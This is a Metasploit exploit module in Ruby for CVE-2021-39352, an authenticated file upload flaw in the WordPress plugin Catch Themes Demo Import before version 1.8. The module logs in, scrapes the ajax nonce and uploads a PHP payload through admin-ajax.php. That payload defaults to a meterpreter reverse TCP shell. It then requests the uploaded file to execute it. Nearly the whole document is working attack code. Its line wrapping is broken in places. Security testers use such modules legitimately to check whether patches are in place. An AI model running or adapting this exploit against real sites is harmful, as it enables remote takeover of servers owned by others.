# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin Catch Themes Demo Import RCE',
'Description' => %q{
The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are
vulnerable to authenticated
arbitrary file uploads via the import functionality found in
the
~/inc/CatchThemesDemoImport.php file, due to insufficient file type
validation.
Re-exploitation may need a reboot of the server, or to wait an
arbitrary timeout.
During testing this timeout was roughly 5min.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Ron Jost', # edb
'Thinkland Security Team' # listed on wordfence's site
],
'References' => [
[ 'EDB', '50580' ],
[ 'CVE', '2021-39352' ],
[ 'URL',
'https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php'
],
[ 'URL',
'https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352'
],
[ 'WPVDB', '781f2ff4-cb94-40d7-96cb-90128daed862' ]
],
'Platform' => ['php'],
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Target', {}]
],
# we leave this out as typically php.ini will bail before 350mb,
and payloads are small enough to fit as is.
# 'Payload' =>
# {
# #
https://plugins.trac.wordpress.org/browser/catch-themes-demo-import/tags/1.6.1/inc/CatchThemesDemoImport.php#L226
# 'Space' => 367_001_600, # 350mb
# }
'DisclosureDate' => '2021-10-21',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
#
https://support.shufflehound.com/forums/topic/i-cant-use-the-one-click-demo-installer/#post-31770
# re-exploitation may need a reboot of the server, or to wait an
arbitrary timeout.
'Reliability' => [ UNRELIABLE_SESSION ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of the account',
'admin']),
OptString.new('PASSWORD', [true, 'Password of the account',
'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress
server', '/']),
]
end
def check
return CheckCode::Safe('Wordpress not detected.') unless
wordpress_and_online?
checkcode =
check_plugin_version_from_readme('catch-themes-demo-import',
'1.8')
if checkcode == CheckCode::Safe
print_error('catch-themes-demo-import not a vulnerable
version')
end
checkcode
end
def exploit
cookie = wordpress_login(datastore['USERNAME'],
datastore['PASSWORD'])
if cookie.nil?
vprint_error('Invalid login, check credentials')
return
end
# grab the ajax_nonce
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin',
'themes.php'),
'method' => 'GET',
'cookie' => cookie,
'keep_cookies' => 'false', # for some reason wordpress gives
back an unauth cookie here, so ignore it.
'vars_get' => {
'page' => 'catch-themes-demo-import'
}
})
fail_with(Failure::Unreachable, 'Site not responding') unless
res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page')
unless res.code == 200
/"ajax_nonce":"(?<ajax_nonce>[a-z0-9]{10})"/ =~ res.body
fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on
page') unless ajax_nonce
vprint_status("Ajax Nonce: #{ajax_nonce}")
random_filename = "#{rand_text_alphanumeric(6..12)}.php"
vprint_status("Uploading payload filename: #{random_filename}")
multipart_form = Rex::MIME::Message.new
multipart_form.add_part('ctdi_import_demo_data', nil, nil,
'form-data; name="action"')
multipart_form.add_part(ajax_nonce, nil, nil, 'form-data;
name="security"')
multipart_form.add_part('undefined', nil, nil, 'form-data;
name="selected"')
multipart_form.add_part(
payload.encoded,
'application/x-php',
nil,
"form-data; name=\"content_file\";
filename=\"#{random_filename}\""
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin',
'admin-ajax.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'ctype' => "multipart/form-data;
boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
)
fail_with(Failure::Unreachable, 'Site not responding') unless
res
fail_with(Failure::UnexpectedReply, 'Plugin not ready to process
new payloads. Please retry in a few minutes.') if res.code == 200
&& res.body.include?('afterAllImportAJAX')
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
unless res.code == 500
# yes, a 500. We uploaded a malformed item, so when it tries to
import it, it fails. This
# is actually positive as it won't display a malformed item
anywhere in the UI. Simply writes our payload, then exits
(non-gracefully)
#
# [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128]
[client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class
'XMLReader' not found in
/var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123
# Stack trace:
# #0
/var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php(331):
CatchThemes\\WPContentImporter2\\WXRImporter->get_reader()
# #1
/var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(80):
CatchThemes\\WPContentImporter2\\WXRImporter->import()
# #2
/var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(137):
CTDI\\Importer->import()
# #3
/var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/CatchThemesDemoImport.php(306):
CTDI\\Importer->import_content()
# #4 /var/www/wordpress/wp-includes/class-wp-hook.php(292):
CTDI\\CatchThemesDemoImport->import_demo_data_ajax_callback()
# #5 /var/www/wordpress/wp-includes/class-wp-hook.php(316):
WP_Hook->apply_filters()
# #6 /var/www/wordpress/wp-includes/plugin.php(484): WP_ in
/var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php
on line 123
register_file_for_cleanup(random_filename)
month = Date.today.month.to_s.rjust(2, '0')
print_status("Triggering payload at
wp-content/uploads/#{Date.today.year}/#{month}/#{random_filename}")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads',
Date.today.year, month, random_filename),
'method' => 'GET',
'keep_cookies' => 'true'
)
end
end

